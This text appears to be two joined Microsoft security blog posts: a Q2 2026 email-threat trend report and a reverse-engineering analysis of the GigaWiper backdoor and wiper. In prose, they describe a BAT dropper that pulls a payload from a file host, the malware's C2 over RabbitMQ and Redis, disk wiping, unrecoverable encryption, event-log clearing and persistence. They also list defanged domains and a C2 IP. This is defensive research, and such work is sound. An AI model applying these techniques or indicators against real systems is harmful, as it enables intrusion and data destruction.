QR code phishing attacks

After peaking at 18.7 million attacks in March, the highest monthly volume in at least a year, QR code phishing declined for three consecutive months in Q2. Volume fell 7% in April to 17.4 million, then dropped more sharply in May (-38%) and June (-22%), closing the quarter at 8.3 million attacks. By June, QR code phishing had returned to levels last seen in mid-2025.

The delivery methods used in QR code attacks shifted notably during Q2. PDF attachments remained the dominant vehicle throughout, but their dominance weakened after April:

• PDF attachments peaked at 79% of QR code attacks in April before falling to 59% in May and 58% in June. By raw volume, malicious PDFs containing QR codes dropped more than 60% between April and June.
• DOC/DOCX attachments moved in the opposite direction, increasing 30% in May to account for 38% of QR code payloads, the highest share since December 2025. By June, DOC/DOCX payloads reached 40% of QR code attacks. This swap between PDF and DOC/DOCX dominance is a pattern that has recurred throughout the past year, as operators appear to rotate between delivery formats.
• Email-embedded QR codes, which had surged 336% in March and accounted for 5% of QR code attacks, effectively disappeared in Q2. This delivery method dropped to near-zero across all three months, leaving QR code phishing almost entirely an attachment-based tactic.

CAPTCHA-gated phishing tactics

After accumulating to nearly 12 million attacks in March, the highest monthly volume observed over the past year, CAPTCHA-gated phishing declined sharply throughout Q2. Volume fell 32% in April to 8.2 million, then dropped another 65% in May and 24% in June, closing the quarter at just 2.2 million attacks. Since the March peak, CAPTCHA-gated phishing has fallen more than 81%, reaching its lowest monthly volume in more than a year.

The rapid rotation of delivery methods that characterized Q1 continued into Q2, with no single payload type maintaining the top position for more than one or two months:

• PDF attachments surged to 63% of CAPTCHA-gated attacks in April, the highest single-payload share observed in the past year, after more than quadrupling in March. This dominance was short-lived, however. PDF volumes dropped 69% in May and another 70% in June, falling to just 22% of attacks by the end of the quarter.
• HTML attachments, which had been a major delivery vector through January (37% of attacks), declined sharply during Q2. After declining to 8% in April, HTML payloads fell to just 3% in May before recovering slightly to 5% in June, their lowest sustained share in at least a year.
• SVG files reached their lowest observed volume in April (5% of attacks) before rebounding to 12% in May and 26% in June. While still well below the levels seen when Tycoon2FA actively used SVG files, this gradual recovery bears monitoring.
• Email-embedded URLs reclaimed the top position in June for the first time since December 2025, accounting for 30% of CAPTCHA-gated attacks. This was more a function of every other delivery method declining in raw volume than a resurgence in URL-based delivery. The actual volume of URL-delivered CAPTCHA-gated phish in June was still far lower than most months over the past year.
• DOC/DOCX files declined from their March spike, falling steadily from 15% to 10% of attacks over the quarter.

Tycoon2FA’s continued decline was a significant factor in the overall volume reduction. The platform’s share of CAPTCHA-gated phishing fell from 41% in March to 16% in April, 18% in May, and 12% by June, down from a peak of 76% in December 2025. No single service has emerged to fill the gap at comparable scale, contributing to the sustained decline in CAPTCHA-gated phishing activity overall.

Malicious payloads

Credential phishing continued to dominate the malicious payload landscape throughout Q2, accounting for 94–96% of all payload-based attacks each month. These credential phishing payloads either linked users to phishing pages or locally loaded spoofed sign-in screens on a user’s device. Traditional malware delivery represented just 4–6% of payloads, consistent with its long-term decline.

HTML and PDF attachments remained the two most common malicious payload types across the quarter, together accounting for roughly 60–70% of all payload-based attacks each month:

• HTML attachments held the top position across all three months at 35–41% of attacks. After peaking in April, HTML payload volume declined 33% in May and another 17% in June.
• PDF attachments consistently ranked second at 24–31% of attacks. PDF volume was relatively stable in April before declining 41% in May and 4% in June.
• SVG files continued the decline that has tracked closely with Tycoon2FA’s diminishing activity. After peaking at 23% of malicious payloads in July 2025, SVG’s share fell to around 7% by Q2, consistent with SVG’s historical role as a preferred Tycoon2FA payload format.
• DOC/DOCX and ZIP/GZIP files oscillated without a clear directional trend. DOC/DOCX increased 26% in May before falling 17% in June, while ZIP/GZIP attachments declined 48% in April, rebounded 27% in May, then dropped 40% in June.
• ICS files (calendar invitations), while still a small share of overall payload volume (roughly 4%), nearly quadrupled in June (+277%). These attacks take advantage of the fact that calendar invitations are processed differently than standard email attachments and can inject malicious links into a user’s calendar without requiring an explicit open-and-click interaction.
• EXE files continued to decline, falling to their lowest monthly volume in June, reflecting the broader shift away from traditional malware delivery via email attachments.

Business email compromise

April 2026 produced the most anomalous BEC data point in more than a year: nearly 9 million attacks, a 121% increase from March and more than double any previous month. The spike was short-lived as volume fell 62% in May to 3.4 million and settled at 3.9 million in June, both figures consistent with the monthly baseline that had held throughout the prior year. The April surge appeared to be driven by a small number of high-volume campaigns rather than a fundamental escalation in BEC activity.

The composition of BEC attacks remained consistent throughout Q2. Generic outreach messages (like “Are you at your desk?”) accounted for 87–92% of initial contact emails each month, while explicit requests for specific financial transactions or documents represented just 3–8%. This pattern underscores that BEC operators overwhelmingly favor establishing conversational rapport with targets before making fraudulent requests, rather than leading with direct financial asks.

Within the smaller subset of explicit financial requests, the most notable trend was the near-disappearance of fake invoice payment requests:

• Invoice payment requests fell 67% in May and another 77% in June, reaching their lowest volume in more than a year. By June, invoice-themed BEC accounted for less than 0.4% of all attacks, down from around 3.6% in March.
• Payroll update requests declined moderately across the quarter, from roughly 4% of attacks in March to 2.3% by June.
• Gift card requests remained at roughly 1–4% of attacks, with no clear directional trend.

Microsoft Teams threats

While email remains the dominant initial access vector, threat actors increasingly abused Microsoft Teams during Q2 to deliver social engineering, phishing, and malware payloads. Unlike email, Teams traffic typically bypasses secure email gateways and benefits from the perceived legitimacy of a colleague-initiated chat, which can make lures particularly effective in this environment.

Teams-based phishing volume climbed steadily throughout Q2, with the average number of detected attacks rising 19% from March to April, holding roughly flat into May (+1%), then increasing another 10% into June. Financial and executive impersonation has remained largely absent from Teams-based attacks over the past several months.

The dominant lure theme remained technical support impersonation, with attackers posing as an employee’s information technology (IT) help desk, typically warning of an impending account lockout. However, the way attackers presented themselves continued to evolve:

• Display names shifted away from IT- or help desk-branded identities. For the second consecutive month, more than half (52%) of Teams-based phishing attacks in June used generic display names rather than obvious IT support impersonation.
• Attacker email addresses associated with these chats moved away from support-themed domains toward software-as-a-service (SaaS) terminology, scan/update language, and infrastructure keywords. This shift may align with the broader rise of ClickFix-style attacks adopting update-fix and similar themes.

Vishing through Teams showed the steepest growth of any threat category tracked in this report during Q2. Average weekly malicious call attempts rose 31% from April to May and another 27% into June, with the final two weeks of June recording the two highest weekly volumes on record. Since the beginning of 2026, weekly vishing attempts have increased roughly 80% and now run at nearly ten times the mid-2025 baseline. Attackers time these calls deliberately when targets are most likely to be online and active, with the heaviest activity falling between 14:00 and 20:00 UTC, Monday through Friday, with near-zero weekend activity. Notably, a growing share of these calls go unanswered, end quickly, or are rejected outright, partly reflecting Microsoft’s ongoing efforts to harden the Teams attack surface and improve protections against social engineering abuse.

Notable phishing campaigns

The following campaigns were observed during the quarter and highlight notable credential phishing, BEC, and malware delivery activity. For analysis of a separate code of conduct-themed credential phishing campaign observed in April of Q2, see Breaking the code: Multi-stage ‘code of conduct’ phishing campaign leads to AiTM token compromise.

Automated BEC campaign scales aging report and payroll diversion lures

On June 1, 2026, Microsoft Defender Research observed a high-volume BEC campaign that used automation to operate at scale. Over a send window of under three hours (14:08–16:52 UTC), the actor reached more than 67,000 users across more than 42,000 organizations, almost exclusively in the United States. Targeting spanned a broad range of industries rather than a single vertical, most notably retail and consumer goods (17%), technology and software (15%), and financial services (14%). The campaign ran two lures in succession from shared infrastructure: arequest impersonating sales executives to obtain aging report data and customer contact details, and a payroll diversion pretext impersonating the CEO or President to redirect salary payments to attacker-controlled bank accounts.

Delivery was fully scripted. The messages were generated programmatically using Python’s email.mime library, identifiable from its default MIME boundary format (===============[integer]==), and dispatched through the Amazon Simple Email Service (SES) API rather than a manual webmail interface, as indicated by the SES Feedback-ID and Message-ID formats. This allowed the actor to iterate through a recipient list and inject per-message variables (like spoofed executive display names, recipient addresses, and unique tracking identifiers) at volume. Messages were sent from a DomainKeys Identified Mail (DKIM)-configured Slovak domain (ecajovna[.]sk) through SES, so they passed Sender Policy Framework (SPF) and achieved DKIM alignment. Neither lure contained a malicious link or attachment; both relied on eliciting a reply to attacker-controlled mailboxes that mimicked legitimate providers (ilyff[.]com, j-gmails[.]com, x2mails[.]com).

Automation also extended to targeting and follow-up. The actor addressed generic role-based mailboxes (like “ar”, “accountsreceivable”, “hr”, “payroll”) rather than named individuals, reducing per-target effort. Each message embedded a 1×1 open-tracking pixel served from an Amazon SES engagement subdomain, with per-message identifiers that let the actor confirm which recipients opened the email and prioritize follow-up against those targets. The combination of scripted message generation, API-based bulk delivery, role-based targeting, and automated engagement tracking allowed a single actor to run a personalized, financially motivated BEC operation at a scale not practical to execute manually.

Staff update campaign with nested EML file and calendar invitation leads to BAT file dropper

Between June 14–15, 2026, Microsoft Defender Research observed a phishing campaign targeting more than 107,000 users across nearly 19,000 organizations, almost exclusively in the United States. The campaign targeted a broad range of industries rather than a single vertical, most notably financial services (17%), technology and software (14%), and retail and consumer goods (14%). Emails impersonated an internal “Internal Affairs – Financials & Staff Updates” function at the recipient’s own organization, with the display name and subject line both opening with the recipient’s organization name and closing with constant trailing text. The messages were sent from a Postfix host on 9i6pokerdepot[.]com routed through Barracuda’s outbound mail service, and DKIM passed cleanly for the sending domain.

The visible email body contained minimal content. One line told the reader to download the attached file for the meeting summary, followed by a confidentiality notice. Each message carried two attachments: a nested EML posing as a Teams archive recording, and an ICS calendar invite addressed to placeholder administrative accounts at the recipient’s domain. The nested EML’s file name retained an unfilled template token ( {{DATE2}} ), indicating a per-recipient templating tool.

When opened, the EML displayed a voicemail notification with a single action button. That button pointed to Microsoft’s OAuth sign-in endpoint at login.microsoftonline[.]com, with parameters that asked for a silent sign-in attempt against an Entra application that the attacker had registered as multi-tenant.

Because no active sign-in session could satisfy the silent request, Microsoft’s authentication service redirected the recipient to the destination the attacker had pre-registered on the application. That destination was a path on clickup-attachments[.]com, ClickUp’s public attachment host, and served a Windows batch file named Financial_report.bat. Because the link routed through Microsoft authentication infrastructure, both recipients and URL scanners saw a login.microsoftonline[.]com link.

The batch file ran a hidden PowerShell command that pulled installer.exe from pixeldrain[.]com, saved it under the user’s Temp directory, ran it with a silent flag, and deleted the dropper on exit. Rather than stealing credentials, the campaign ultimately resulted in silent malware execution on the user’s Windows device.

Mitigation and protection guidance

Microsoft recommends the following mitigations to reduce the impact of this threat. Check the recommendations card for the deployment status of monitored mitigations.

• Review the recommended settings for Exchange Online Protection and Microsoft Defender for Office 365 to ensure your organization has established essential defenses and knows how to monitor and respond to threat activity.
• Invest in user awareness training and phishing simulations. Attack simulation training in Microsoft Defender for Office 365, which also includes simulating phishing messages in Microsoft Teams, is one approach to running realistic attack scenarios in your organization.
• Enable Zero-hour auto purge (ZAP) in Defender for Office 365 to quarantine sent mail in response to newly acquired threat intelligence and retroactively neutralize malicious phishing, spam, or malware messages that have already been delivered to mailboxes.
• Responders could also manually check for and purge unwanted emails containing URLs and/or Subject fields that are similar, but not identical, to those of known bad messages. Investigate malicious email that was delivered in Microsoft 365 and use Threat Explorer to find and delete phishing emails.
• Turn on Safe Links and Safe Attachments in Microsoft Defender for Office 365.
• Enable network protection in Microsoft Defender for Endpoint.
• Encourage users to use Microsoft Edge and other web browsers that support Microsoft Defender SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware.
• Enable password-less authentication methods (for example, Windows Hello, FIDO keys, or Microsoft Authenticator) for accounts that support password-less. For accounts that still require passwords, use authenticator apps like Microsoft Authenticator for MFA. Refer to this article for the different authentication methods and features.
  • Conditional access policies can also be scoped to strengthen privileged accounts with phishing resistant MFA.
• Configure automatic attack disruption in Microsoft Defender XDR. Automatic attack disruption is designed to contain attacks in progress, limit the impact on an organization’s assets, and provide more time for security teams to remediate the attack fully.

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Defender for Endpoint

The following alert might indicate threat activity associated with this threat. The alert, however, can be triggered by unrelated threat activity.

• Suspicious activity likely indicative of a connection to an adversary-in-the-middle (AiTM) phishing site

Microsoft Defender for Office 365

The following alerts might indicate threat activity associated with this threat. These alerts, however, can be triggered by unrelated threat activity.

• A potentially malicious URL click was detected
• A user clicked through to a potentially malicious URL
• Suspicious email sending patterns detected
• Email messages containing malicious URL removed after delivery
• Email messages removed after delivery
• Email reported by user as malware or phish

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following Threat Analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Defender XDR threat analytics

• Activity Profile: Email threat landscape, June 2026
• Activity Profile: Email threat landscape, May 2026
• Activity Profile: Email threat landscape, April 2026
• Tool Profile: Tycoon2FA
• Technique Profile: QR code phishing
• Technique Profile: ClickFix technique leverages clipboard to run malicious commands
• Threat Overview Profile: Business Email Compromise
• Threat Overview Profile: Adversary-in-the-middle credential phishing

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Indicators of compromise (IOCs)

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post Email threat landscape: Q2 2026 trends and insights appeared first on Microsoft Security Blog.

In October 2025, Microsoft Threat Intelligence identified destructive wiping activity and uncovered a sophisticated Go programming language (Golang)-based backdoor we now track as GigaWiper, a versatile implant that combines robust command-and-control (C2) capabilities with multiple destructive payloads, including disk wiping, fake ransomware, and system-level sabotage.

GigaWiper is particularly notable for its makeup. It’s not a single, purpose-built tool, but an amalgamation of separate malware families that were folded into GigaWiper as on-demand backdoor commands, giving threat actors the flexibility to choose their mode of destruction:

• A standalone wiper that operates at the physical disk level, overwriting raw disk content and removing partition metadata.
• A destructive command that derives from Crucio ransomware and encrypts files with randomly generated keys that are never saved, making decryption impossible.
• A wiping command that reimplements the logic of FlockWiper, a C-based malware reimplemented in Golang with additional multi-pass secure wiping.

The consolidation of multiple destructive capabilities into a modular backdoor reflects a notable shift in wiper malware, which are typically designed purely to destroy rather than to extort and carry real-world consequences. GigaWiper exemplifies threat actors investing in operational efficiency, merging standalone tools into unified platforms that reduce their deployment footprint while expanding their destructive capabilities. GigaWiper is tracked by Google Threat Intelligence Group (GTIG) and Binary Defense as BLUERABBIT.

In this blog, we provide a code-level analysis of GigaWiper’s architecture. We’re sharing these findings, along with Microsoft Defender detections and mitigation recommendations, to enable organizations and the security community to investigate and defend against GigaWiper and similar destructive threats.

A wiper inside a backdoor

Beginning in October 2025, Microsoft Threat Intelligence started observing compromised environments being wiped with destructive tooling. Looking closely at the intrusions, we observed two types of GigaWiper samples:

• Standalone wiper binaries
• Larger binaries with robust backdoor functionality

Both sample types are unstripped portable executable (PE) files written in Golang. Comparing the two samples showed that the standalone wiper’s code is fully embedded inside the backdoor as one of the commands.

The standalone wiper binary

The standalone wiper is an unstripped PE written in Golang. Instead of deleting individual files, it wipes at the physical disk level. It identifies physical drives, determines which drive contains the Windows installation, removes partition references from other drives, overwrites raw disk content, and then reboots the system.

The wiper starts by enumerating physical disks through Windows Management Instrumentation (WMI) using the following query, giving it the device identifiers and disk metadata it needs before deciding how to handle each drive:

The malware then calls main.FindWindowsDrive to determine which physical disk contains the Windows installation (for example, \\.\PHYSICALDRIVE0). With that drive identified, it iterates the remaining disk list and calls main.unallocateDrive on each non-Windows drive to remove their partition references. This is achieved with DeviceIoControl and IOCTL_DISK_CREATE_DISK, which reinitializes the disk’s partitioning metadata and effectively wipes the existing partition table entries. If successful, the malware prints to the console “Partitions removed successfully.”

Next, it proceeds to wipe each drive. It calls main.writeRandToDrive to overwrite each drive in chunks of size 0xA00000. The first byte of each buffer is randomized with crypto/rand.Read, while the rest is filled with zeros. If random generation fails, it uses the byte value “1” instead. This pattern might be intended to avoid detections or mitigations that look for conspicuous full-disk zeroing behavior.

After it finishes wiping the drives, the malware forces an immediate reboot by invoking Windows shutdown functionality with restart and zero-delay options.

The wiper binary as a backdoor command

Next, we analyzed the larger backdoor. The same wiper functionality is also present as one component of the backdoor. The code flow and function names in the larger backdoor are identical to those of the standalone wiper, with the wiper’s main.main routine implemented in the backdoor as the rabbit_tools_tool_wipe_main.WipeMain function.

Backdoor capabilities

With the wiper routine overlap established, this section focuses on the backdoor’s additional capabilities. Beyond destructive functionality, the backdoor sets persistence and implements C2 communication over RabbitMQ and Redis. In analyzing these backdoor capabilities, we discovered that some backdoor commands contain code from additional malware families.

Persistence

The backdoor creates and uses the registry key HKCU\SOFTWARE\OneDrive\Environment to track its execution count. If the key is absent on the system, the malware determines that it’s running on the system for the first time and proceeds to create the key, setting it to “0”. It then creates a new scheduled task named OneDrive Update by running the following command before printing “Task created. Original process exiting.” and exiting the process. The scheduled task is configured to essentially run every minute in addition to running once on system startup.

In subsequent executions, when the registry key exists and is greater than “0”, the malware increments it,  determines that it is running as a scheduled task (prints “Running from Task Scheduler…”), and continues execution normally.

Communication

GigaWiper uses two modes of communication:

• RabbitMQ over AMQP for receiving commands from the C2 server
• Redis server for updating command status and output

The malware decrypts a hard-coded configuration using AES with a hard-coded key. For example, one observed sample uses 185.182.193[.]21:5544 as a RabbitMQ C2 server, and 185.182.193[.]21:7542 for a Redis server, where it uploads results. The configuration also specifies the credentials to use to connect to the RabbitMQ and Redis servers.

To receive commands from the RabbitMQ C2 server, the malware declares a queue and binds it to a fanout exchange named “All”. Because “All” is a fanout exchange, any command published to it is broadcast to every bound queue across infected clients. To enable targeted commands, the malware also declares a topic exchange named “Topic”.  The backdoor binds the queue to “Topic” when the actor issues command 8 (See Commands section) and provides a routing key.

Each command sent by the C2 server is a cmd.Task structure with the following fields:

• task_id
• command_code
• args

To update the Redis server with command status and output, the malware sends it a cmd.Result struct with the following fields:

• error
• target_ip
• task_id
• target_computer_name
• output
• pwd
• time
• status
• work_status

Commands

GigaWiper logs several types of commands using specific categories:

• “always run command” – Commands that are meant to run continuously (like screen recording)
• “manage command” – Commands used to manage things on the system like services or the Registry
• “special command” / “shell command” – Modes of command 7

Each command is represented by a numeric command code from 1 to 20:

Command 1: Calls WipeMain, which is identical to the standalone wiper described in the last section

Command 2: Triggers a Blue screen error (BSOD) and prevents the device from booting

This is achieved by running a sequence of hard-coded destructive commands that disable Windows recovery, take ownership, and grant permissions to critical boot and kernel files before deleting them.

Command 3: Calls RanMain and BigBangExtortMain to trigger a file encryption process that imitates ransomware

The key and initialization vector (IV) that the malware uses to encrypt files are random and are not saved anywhere. The malware reads and encrypts each file, excluding files with extensions like .exe and .dll that are critical for the system to load. Each file is read and AES-CBC encrypted in chunks before being deleted with os.Remove. The file is renamed with the .candy extension.

It drops the following hard-coded image to ./image_danger.jpg and sets it as the wallpaper:

Command 4: Uses MinIO Client (mc) to upload a file to a remote storage

The path to the MinIO client to use is supplied in the command arguments alongside additional settings:

• IPandPort
• AliasName
• Username
• Password
• BucketName
• SourcePath
• MCPath – The path to MinIO Client (mc.exe) to use

Command 5: File encryption utility

This command bulk encrypts or decrypts files with AES-256 in Cipher Block Chaining (CBC) mode. The following are the command arguments:

• key
• iv
• path – The path to encrypt/decrypt (either a directory or a file)
• key_file
• enc – A mode that specifies whether to perform encryption or decryption

The server can specify a key and IV in the arguments. If in encryption mode but no key or IV were provided, the malware generates a random key and IV and stores them in key.txt.

If in decryption mode, the malware first tries to read the key and IV from the provided key file. If it was not provided, the malware attempts to use the key and IV sent as arguments.

Interestingly, the error message shows a glimpse of what running this command might look like from the actor side:

Key/IV required. Use -k/-i or –keyfile

Command 6: Runs the PE from the map RTYPE_map_string_cmd_appInfoStc[“6”]

We have not seen this structure populated in the binary. The logging message “Exec cmd wipe-file” suggests that this is meant to contain wiper functionality.

Command 7: This command has two types:

Type: shell command – Command for running PowerShell commands. The malware appends ;”|?????|$pwd” to the command. This causes the output of each command to include |?????|, followed by the current working directory. Then, the malware calls os.Chdir to change the working directory to the path output by $pwd, so the next command runs in that same folder.

Type: special command – When command 7 is run with one of the following arguments, it is considered a “special command” and handled as follows:

• purge_cmd_queue: Empties the queue of shell commands, then stops the process run by command 7 “shell command” if it exists
• purge_queue: Empties the queue of normal commands, then stops the process run by commands 6 or 13 if it exists (those are two of the “always run” commands)
• pwd: Sets a global flag to indicate the working status, which is sent to the server in shell command 7, and then proceeds to run pwd using shell command 7.

Command 8: RabbitMQ route manager; allows binding the queue to the “Topic” exchange to receive targeted, non-broadcast commands (Type: manage command)

This command receives a mode of operation (1/2/3), followed by a list of routing keys as arguments:

• Mode 1 – Binds each provided routing key
• Mode 2 – Unbinds each provided routing key
• Mode 3 – Pairs update mode: for each old,new pair, unbinds the old key then binds the new one

Command 9: Takes one screenshot per active monitor/display

The malware saves each screenshot to a PNG file in .\<timestamp\<monitor_index>.png (for example .\2026-06-10_12-30-00\0.png).

Command 10: Records the screen when the user is not idle (10s) and the system is unlocked(Type: always run command)

Recordings are saved in the folder C:\ProgramData\output.

Command 11: Runs the PE from the map RTYPE_map_string_cmd_appInfoStc[“11”] (Type: always run) command

We have not seen this structure populated in the binary. The logging message “Exec cmd keylog” suggests that this is meant to be a keylogger functionality.

Command 12: Calls WipeCMain to wipe the system

This command is like command 1 (WipeMain), but with a few important differences:

• It only wipes the drive with the Windows installation. Usually it is the C drive, hence the name WipeCMain.
• It performs secure wiping: It wipes the drive with multiple passes, each time overwriting it with different bytes (0s, 0xFF, random bytes…), and prints status messages between passes:
  • Pass 1 Time took: %s\n
  • Pass 2 Time took: %s\n
  • Pass 3 Time took: %s\n
  • …

Command 13: Runs the PE from the map RTYPE_map_string_cmd_appInfoStc[“13”]

The logging message “Exec cmd wipe32” suggests that this is meant to be another wiper binary. It is run as admin using the command:

Command 14: (not implemented)

Command 15: Collects system info by calling the function GRATClientInfo (Type: manage command)

The command arguments control the amount of info collected:

• long
• short

Collected system info includes:

• IP address
• Machine GUID
• CPU information
• OS information
• Network configuration
• Firmware
• User information
• Antivirus software information, collected by running the following command:

Command 16: Process manager (Type: manage command)

Arguments specify the process and operation to perform:

• process_name
• process_path
• process_id
• process_operation – Performs one of the operations below:
  • createProcess
  • resumeProcess
  • suspendProcess
  • exit (does nothing, returns empty response)
  • list
  • killProcess
  • processInfo – Returns the info below:
    • process_name
    • process_user_name
    • process_id
    • process_thread_count
    • process_memory_info
    • process_exe_path
    • process_status
    • process_error

Command 17: Service manager (Type: manage command)

This command is similar to the other manage commands, but for services. It has the following arguments:

• service_name
• service_display_name
• service_exe_path
• service_operation
  • create
  • delete
  • restart
  • query
  • start
  • list
  • stop

Command 18: Registry manager (Type: manage command)

On first execution, the malware runs rabbit_bin.RunOnceRegistryMain.gowrap1 in the background as a goroutine. On subsequent executions, the routine receives and returns input and output through Go channels. From there, it operates almost like an interactive session, persisting its position in the Registry between requests, and allowing the following operations (arguments):

• registry_root_key
• registry_key_path
• registry_key_name
• registry_value_entities
• registry_operation
  • show – Enumerates current key, subkeys, and values
  • navigate – Change current position to a new key and send its contents
  • back – Go up one level from current key
  • exit – Exits the current session
  • createKey
  • deleteKey
  • deleteValue
  • setValue

Command 19: Clears Windows event logs

First, the malware ensures that it’s running with Administrator privileges. Next, it deletes the System, Setup, Application, and ForwardedEvents event logs by running the following command for each:

Then, for unknown reasons, it prints the hard-coded string “kharbvnmhkjbkjb”.

Finally, it attempts to delete the Security event logs using wevutil.exe. If it fails, it prints the message “Failed to clear Security with wevtutil. Attempting manual removal…” and attempts to directly delete the log file C:\Windows\System32\winevt\Logs\Security.evtx.

Command 20: Starts a server so the attackers can remotely control the system in a VNC-like manner; allows keyboard and mouse control and streams the screen to the attackers (Type: always run command)

This occurs over TCP with the port provided as a command argument. The malware first deletes the existing firewall rule if it exists. The rule name impersonates legitimate Windows firewall rule names:

Finally, the malware creates rules with that name to allow inbound and outbound traffic to its own program over a port provided in the command arguments. The following command is run once with Inbound then with Outbound:

How GigaWiper was assembled

The standalone wiper, implemented as command 1, is only one part of the interesting anatomy of GigaWiper.

The backdoor contains code for two additional wiping commands: command 3, implemented as rabbit_tools_tool_ran_main_cmd_extort.RanMain, and command 12, implemented as rabbit_tools_tool_wipec_main.WipeCMain. Further analysis showed that, like the standalone wiper, these originated from two separate, older malware families previously used by the same threat actor.

In other words, the GigaWiper backdoor is an amalgamation of at least three standalone malware families, stitched together as commands within a single implant, and combined with new backdoor functionality.

RanMain and BigBangExtortMain

As mentioned, command 3 is handled by rabbit_tools_tool_ran_main_cmd_extort.RanMain, which calls rabbit_tools_tool_ran_main_bin.BigBangExtortMain to encrypt the files on the victim system and rename them with the .candy extension. This is a wiper disguised as ransomware. The key and IV are randomly generated but not saved anywhere, and no ransom note is dropped. As a result, the actor has neither the ability nor, apparently, the intent to ever decrypt the files.

The function BigBangExtortMain is notable. A function with the same name was used in the Crucio ransomware, which was documented in a Cybersecurity and Infrastructure Security Agency (CISA) advisory published in December 2023. GigaWiper backdoor command 3 is heavily based on Crucio’s code, leading to the assessment that the same threat actor developed both malware families.

WipeCMain

Command 12 represents the third wiper family that was incorporated into the GigaWiper backdoor. This command is handled by rabbit_tools_tool_wipec_main.WipeCMain. It is very similar to command 1, WipeMain, except that it wipes only the Windows installation drive, and performs more secure wiping with multiple passes.

Our research revealed that WipeCMain is essentially identical to the standalone wiper that Microsoft tracks as FlockWiper. While FlockWiper was written in C, its logic appears to have been reimplemented in Golang within GigaWiper. In essence, the two variants follow the same core execution flow, and many of the strings are identical, though the GigaWiper implementation appears to be a more updated version. FlockWiper was first uploaded to VirusTotal in June 2025, months before GigaWiper was first observed in the wild.

Another notable detail is that the observed FlockWiper samples contain program database (PDB) paths referencing “GRAT”:

• A:\GRAT\CWipeNew\Release\CWipeNew.pdb
• E:\files\new\GRAT\CWipe\Release\CWipe.pdb

The name “GRAT” is also prevalent in several function names within the GigaWiper backdoor. Although the FlockWiper binaries do not include “GRAT” functionality, the PDB paths provide another link between the two malware families.

Conclusion: Multiple destructive capabilities consolidated into a single implant

GigaWiper is a backdoor with extensive operational capabilities that allow a threat actor to maintain control over infected systems, execute commands, deploy additional tooling, and ultimately trigger one of multiple destructive commands on demand. It allows the threat actor to operate with flexibility, enabling both quiet espionage activity and destructive wiping operations.

Our research reveals that GigaWiper was created by combining and reimplementing components from at least three previously separate malware families. This includes the wiping functionality, and the file-encrypting ransomware that leaves no way to decrypt the files.

We tied GigaWiper to both Crucio and FlockWiper based on code analysis, shared execution flow, function naming, and unique strings. Crucio’s code was the base for GigaWiper command 3, and FlockWiper was recoded in Golang and updated for GigaWiper command 12. In addition, the references of “GRAT” in both the FlockWiper PDB paths and GigaWiper function names provide an additional link between these tools, and suggests the possible existence of another related component or framework that has not yet been recovered.

Overall, these findings show the evolution of the actor’s tooling over time. Functionality was merged into a single robust backdoor, granting the actor more ways to control and destroy infected systems.

Defending against destructive threats

To harden networks against GigaWiper, defenders can implement the following mitigation steps:

• Turn on tenant-wide tamper protection features to prevent attackers from stopping security services or using antivirus exclusions. Without tamper protection, attackers could simply turn off Microsoft Defender Antivirus without the need to acquire higher privileges.
  • Customers running Intune or Microsoft Defender for Endpoint Security Configuration can enable DisableLocalAdminMerge to prevent modification of antivirus exclusions via GPO.
  • In addition to tamper protection, you can also enable and configure Microsoft Defender Antivirus always-on protection in Group Policy.
  • If there is an issue with a device during roll out of various antivirus features, the device can be placed in troubleshooting mode to turn off tamper protection temporarily without impacting the wider organizational security policy.
• Block direct access to known C2 infrastructure where possible, informed by your organization’s threat intelligence sources.

• Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a majority of new and unknown threats.
• Run endpoint detection and response (EDR) in block mode so that Microsoft Defender for Endpoint can block malicious artifacts, even when your non-Microsoft antivirus does not detect the threat or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode works behind the scenes to remediate malicious artifacts that are detected post-breach.
• Allow investigation and remediation in full automated mode to allow Microsoft Defender for Endpoint to take immediate action on alerts to resolve breaches, significantly reducing alert volume.
• Microsoft Defender XDR customers can also implement the following attack surface reduction rules to harden an environment against techniques used by threat actors:
  • Block executable files from running unless they meet a prevalence, age, or trusted list criterion

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

